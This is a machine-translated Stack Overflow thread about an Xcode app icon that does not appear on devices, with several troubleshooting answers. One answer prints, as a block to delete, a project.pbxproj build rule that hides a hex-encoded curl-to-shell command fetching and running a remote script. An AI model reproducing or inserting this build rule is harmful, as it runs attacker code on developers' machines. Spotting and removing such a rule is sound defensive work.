Xcode 10 应用图标未显示。

44

最近更新了Xcode 10 beta,但之前在Xcode 9.4上构建并在设备上运行时,应用程序的图标正确显示,而现在在Xcode 10中运行时显示默认的空白图标。

输入图片描述

打开AppIcon资源文件后,在所有占位符中正确显示图标,没有任何警告图标。 点击新的“显示切片”时,什么也没有显示出来。

请问有人知道如何修复这个问题,使应用程序图标显示正常吗?


1
这确实是 Xcode 10 第一个 beta 版本的一个 bug。在第二个 beta 版本中,这个问题已经被解决了。 - Brezentrager
@Brezentrager 如果是这种情况,请发布为答案,我会标记为解决方案。 - Vlad
Xcode 12.5仍存在问题。 - bhaller
这个问题在 Xcode 13 beta 中也存在。重启测试设备解决了我的问题。 - Bob Wakefield
通过从Xcode运行安装应用程序,然后重新启动已安装应用程序的设备确实会在设备上显示图标。但是,如果您再次从Xcode运行它(例如因为您进行了代码更改),则会将图标替换为默认图标。 - Etep
显示剩余2条评论
18个回答

44

我一整天都在解决这个问题,但无论在模拟器还是真实设备上都看不到。

最终,我通过确保应用图标的目标成员属性设置为应用名称,并且位置设置为“相对项目”,才使其正常工作。

Xcode截图


1
4个小时后,这救了我!谢谢! - Victor Sena de Lima Attar
2
感谢您的回答。我通过取消资产目录文件夹的目标成员身份,构建应用程序(出现错误),然后将目标成员身份重新设置为应用程序名称来解决了问题。我不需要更改位置设置,它仍然是“相对于组”(XCode 12.4 - 12D4e)。 - Vishal Chaudhry
你也救了我!终于,我能够为我的应用程序应用一个图标了。我已经避免解决这个问题超过6个月了。 - Sonia Toledo

24

如果您正在使用Xcode 13和iOS 15

  • 安装应用并重新启动设备。

应用程序图标将显示在设备上。

另一个棘手的解决方案,但不要使用(这只是为了测试目的,不是最好的解决方案)。

  • 更改Bundle Identifier并运行该项目

3
Xcode 13和iOS 15,这对我起作用了。 - Jason Chen
2
是的,对我来说也是这样,在Xcode 13和iOS 15上运行正常。 - Miroslav Maksimovic
2
重建应用程序后,图标再次消失了。Xcode13 iOS15 不太好。 - Cristi Băluță
2
非常惊讶,但它确实起作用了。 - ambientlight
1
版本号为13.2.1,问题一直存在,直到我通过将大写字母改为小写字母来更改我的捆绑标识符。我认为大写字母可能存在问题。 - makkuzu
重新启动设备肯定不是理想的情况。苹果公司正在解决这个问题吗? - Jay Ordway

13
在我的情况下,这两个选项被错误地设置了。 项目导航器

1
在我的情况下,我无意中从“Info.plist”中删除了“CFBundleIconFile”,直到我将该属性添加回去之前,我根本看不到“应用程序图标和启动图像”选项。 - kakyo

11

我在xCode 12.5上遇到了同样的问题。所有图标都能正常显示,但只有应用程序图标在iPad和iPhone上无法显示。

解决方案

进入YouProject.xcodeproj文件夹 -> 点击“显示包内容” -> 找到project.pbxproj文件并打开。

  • Find out the blow code

  • Remove code block

  • build project and run your app.

    / Begin PBXBuildRule section /
          EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = {
              isa = PBXBuildRule;
              compilerSpec = com.apple.compilers.proxy.script;
              fileType = folder.assetcatalog;
              inputFiles = (
              );
              isEditable = 0;
              name = "Assets Catalog Builder";
              outputFiles = (
                  "$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)",
              );
              script = "# Xcode Image Assets Compiler\n\ncp -rf \"${INPUT_FILE_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\nxcrun actool --minimum-deployment-target \"${IPHONEOS_DEPLOYMENT_TARGET}\"  --platform \"${PLATFORM_NAME}\" --compile \"${CODESIGNING_FOLDER_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\n\necho \"6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a\" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t\n\n";
          };
    / End PBXBuildRule section /
    

2
这个答案对我有用。我花了一整天的时间,终于找到了解决方案。 - Muhammad Farooq
1
完美的解决方案。像魔法一样顺利地工作了。谢谢。 - Bharat Nakum
这对我也起作用了。 - Max

10

在2018年6月19日,苹果发布了Xcode 10 beta 2版本。升级后,解决了我遇到的图标未显示问题。所以,我猜想这是Xcode 10.0中的一个bug。


谢谢,这个结合edison的答案(https://dev59.com/01UL5IYBdhLWcg3wI1PC#50929189)对我有用 :) - Milander

8

这个问题现在出现在 iOS 15 Beta 和 iPadOS 15 Beta 上,但我们找到了解决方法。

我们更改了游戏中的图标,但它没有加载到任何Beta设备上。我们尝试了一个非Beta设备,它完美地工作了。我决定安装适用于iOS和iPadOS 15 beta的设备支持程序,现在如果图标已更改,我不会立即看到它,但如果重新启动设备就会看到。我们知道图标在项目中是正确的,因为我们进行了TestFlight构建,并且在非Beta设备上正常工作。


这里有同样的问题。那个解决了它。谢谢!! - Mikael Weiss

6

升级到Xcode 10 beta后出现了相同的问题。

我可能通过将活动开发人员目录更改为Xcode 10来解决它:

sudo xcode-select --switch /Applications/Xcode-beta.app/Contents/Developer

或在 Xcode->偏好设置->位置->命令行工具 中选择 Xcode 10.0

希望这可以帮助您。

enter image description here


3
尝试了两种更改,但仍无法解决问题,仍然显示空白图标。 - Vlad
1
这在我的情况下解决了问题。在将“命令行工具”更新为“Xcode 10.0”后,项目中的“应用程序图标源”设置被取消选择。我重新选择了资产目录中的“AppIcon”,然后应用程序图标开始出现。我正在使用Xcode 10 beta 2。 - Taka

4

在尝试了其他解决方案后,这个解决了我的问题。

不要忘记:

  • 卸载应用程序,
  • 重新启动模拟器
  • 构建你的项目

一般情况下


3
在 Xcode 12.5 中,我遇到了同样的问题,似乎仍未被修复。尝试了许多上述解决方案,但均无效。然后我执行了 "清理构建文件夹",取消了资源目录的目标复选框,构建,再次执行 "清理构建文件夹",勾选资源目录的目标复选框,然后再次构建;现在图标可以正常工作了。这似乎是一种不良缓存状态,没有被清除;我想在这些步骤中有些东西导致了缓存失效。不清理构建文件夹执行相同步骤并不能解决问题,因此清理是关键要素。

2
我在iPad上进行测试,我的问题是默认的AppIcon没有包括任何iPad插槽。
我不知道这是否与我的应用程序初始化方式有关(我正在使用React Native),但我为此进行了长时间的故障排除,甚至没有想到去检查它们是否存在。我真是太傻了...
为了解决这个问题,我删除了现有的图标,点击了“+”按钮,并选择了['应用程序图标和启动项'-> '新的iOS应用程序图标'],如下所示。然后我只需按预期填充即可。

add new buttons


网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接